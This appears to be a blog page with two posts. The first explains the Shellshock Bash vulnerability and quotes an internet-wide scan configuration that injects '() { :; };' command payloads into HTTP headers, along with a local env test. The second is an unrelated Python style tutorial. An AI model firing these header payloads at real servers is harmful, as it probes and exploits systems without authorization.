Shellshock bash bug

Yesterday, security experts discovered a security bug in Bash sell. This bug called Shellshock. This is a very serious bug, as it can be used to take control of your machine, even you have a Macintosh or an Android device. This make Shellshock a bigger threat than Heartbleed in two dimensions:

  • First of all, unlike Heartbleed, Shellshock can be used to steal all your information not only your password.
  • Second, If Heartbleed was unnoticed for two years, Shellshock was unnoticed for 22 years.

To understand the threat, I will share some code from Robert Graham’s blog post who made an excellent analysis of this issue. We will request resources with the below configuration:

target = 0.0.0.0/0
port = 80
banners = true
http-user-agent = shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)
http-header = Cookie:() { :; }; ping -c 3 209.126.230.74
http-header = Host:() { :; }; ping -c 3 209.126.230.74
http-header = Referer:() { :; }; ping -c 3 209.126.230.74

Which when be tested to a huge number of IP addresses, will shows that bug is widespread:
shellshock-responses

What’s Shellshock ?

If we take a look to the CVE from NIST vulnerability database, we will found:

GNU Bash through 4.3 processes trailing strings
after function  definitions in the values of
environment variables, which allows remote
attackers to execute arbitrary code via a
crafted environment, as demonstrated by vectors
involving the ForceCommand feature in OpenSSH
sshd, the mod_cgi and mod_cgid modules in the
Apache HTTP Server, scripts executed by
unspecified DHCP clients, and other situations
in which setting the environment occurs across a
privilege boundary from Bash execution.

In other words, when you add extra lines to the bash code, you’ll be allowed to execute scripts:


$ env 'x=() { :;}; echo this is the threat' bash -c "echo good morning"

Is there any patch?

Likely, the Red Hat security team has released patches for this threat (You can find further detail here).

Advertisements

Python notes: Part II

Last time I listed some python’s features, but I like to reserve a post for the most lovely on, which is: Python philosophy. The below code will enumerate the main idioms around it Python has been designed:

>>> import this
The Zen of Python, by Tim Peters

Beautiful is better than ugly.
Explicit is better than implicit.
Simple is better than complex.
Complex is better than complicated.
Flat is better than nested.
Sparse is better than dense.
Readability counts.
Special cases aren't special enough to break the rules.
Although practicality beats purity.
Errors should never pass silently.
Unless explicitly silenced.
In the face of ambiguity, refuse the temptation to guess.
There should be one-- and preferably only one --obvious way to do it.
Although that way may not be obvious at first unless you're Dutch.
Now is better than never.
Although never is often better than *right* now.
If the implementation is hard to explain, it's a bad idea.
If the implementation is easy to explain, it may be a good idea.
Namespaces are one honking great idea -- let's do more of those!

Through this post, I will try to mention an example for each idiom:

* Beautiful is better than ugly.

The below snippets, will highlight how Python code is more beautiful than code in C or any other programming language:

void permute(int *a, int *b)
{
 int swap;
 swap = *a;
 *a = *b;
 *b = swap;
}
>>> a, b = b, a

* Explicit is better than implicit.

So, you should avoid to write code like that:

>>> from os import *
>>> print getcwd()

Instead, you should write:

>>> import os
>>> print os.getcwd()

As a general rule, try to be always explicit and clear when coding

* Simple is better than complex.

Simplicity should be a key goal in design. For example, Python offer the in operator to iterate over some structures. Besides, you should manage it by yourself in C/C++

int array[6] = {4, 5, 45, 3, 9, 7};
int i = 0;
for (i, i++, i<6) {
  printf("i=%i", i);
}

Hopefully, Python make my life much easier

>>> l = [4, 5, 45, 3, 9, 7]
>>> for i in l:
        print "i=", i

* Complex is better than complicated.

Complicated is a something hard to understand and analyse. If we can not have simple solution, having a complex solution is better than a complicated one.

* Flat is better than nested.

Flat code is easier to read and maintain:

if (year % 4 == 0):
    if (year % 100 == 0):
        if (year % 400 == 0):
            leap = true
        else:
            leap = false
    else:
        leap = true
else:
    leap = false

Instead, flat code is more readable:

if year % 4 == 0 and year % 100 != 0:
    leap = true
elif year % 400 == 0:
    leap = true
else:
    leap = false

* Sparse is better than dense.

It’s always about readability, don’t write dense code because it is difficult to understand:

  • Put empty lines between blocks of unrelated code within functions.
  • Put spaces around operators much of the time in the most cases.
  • Put two lines between method or function definitions.

* Readability counts.

You can notice this from:

  • Use of white spaces
  • Python is bracket-less. Instead it use indentation which is more elegant and brings more clarity to Python code
  • Documentation

* Special cases aren’t special enough to break the rules.

Everything is an object in Python, and basic types like integer, float, boolean, etc. are not special enough to break the rule.

* Although practicality beats purity.

Sometimes, the rules have to be broken.

* Errors should never pass silently.

try:
    import json
except ImportError:
    print "Can not load json module"

* Unless explicitly silenced.

try:
    price = prices[k]
except KeyError:
    price = default_price

* In the face of ambiguity, refuse the temptation to guess.

Consider this code:

>>> 1 + 1
2
>>> '1' + '1'
'11'
>>> 1 + '1'
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: unsupported operand type(s) for +: 'int' and 'str'

As you see, the interpreter is in ambiguous situation, it does not know if it’s a string concatenation, or simple add operation. So, it don’t try to guess, instead it raise a TypeError.

* There should be one– and preferably only one –obvious way to do it.

This idiom is against another famous idioms which is:

There Is More Than One Way To Do It

The precedent idom is generally associated with Perl programming language. LarryWall (the inventor of Perl language), who thinks that phrasing a sentence differently might make it clearer. Besides, Pythonic don’t agree with him, We thinks that even there are many ways to do it, there are always a good way to do it.

try:
    val = plants["carrot"]
except KeyError:
    val = "No carrot found"

Instead, It’s better to use the get method:

val = plants.get("carrot", "No carrot found")

* Although that way may not be obvious at first unless you’re Dutch.

Maybe, you have seen or written code like that:

hits = {}
for log in logs:
    if hits.has_key(log.url):
        hits[log.url] += 1
    else:
        hits[log.url] = 1

But, if you know collections module you will write:

hits = collections.defaultdict(int)
for log in logs:
    hits[log.url] += 1

This is the preferably way to do it.

* Now is better than never.

Always, fix the problem as soon as possible, and do not worry about perfection Python 3 need years to see the light.

* Although never is often better than *right* now.

Just take your time to do it well.

* If the implementation is hard to explain, it’s a bad idea.

* If the implementation is easy to explain, it may be a good idea.

Each one of two idioms above is a reformulation of the KISS principle

KEEP IT SIMPLE, STUPID

* Namespaces are one honking great idea — let’s do more of those!

Using namespaces enable us to follow SOC (Separation Of Concerns) principle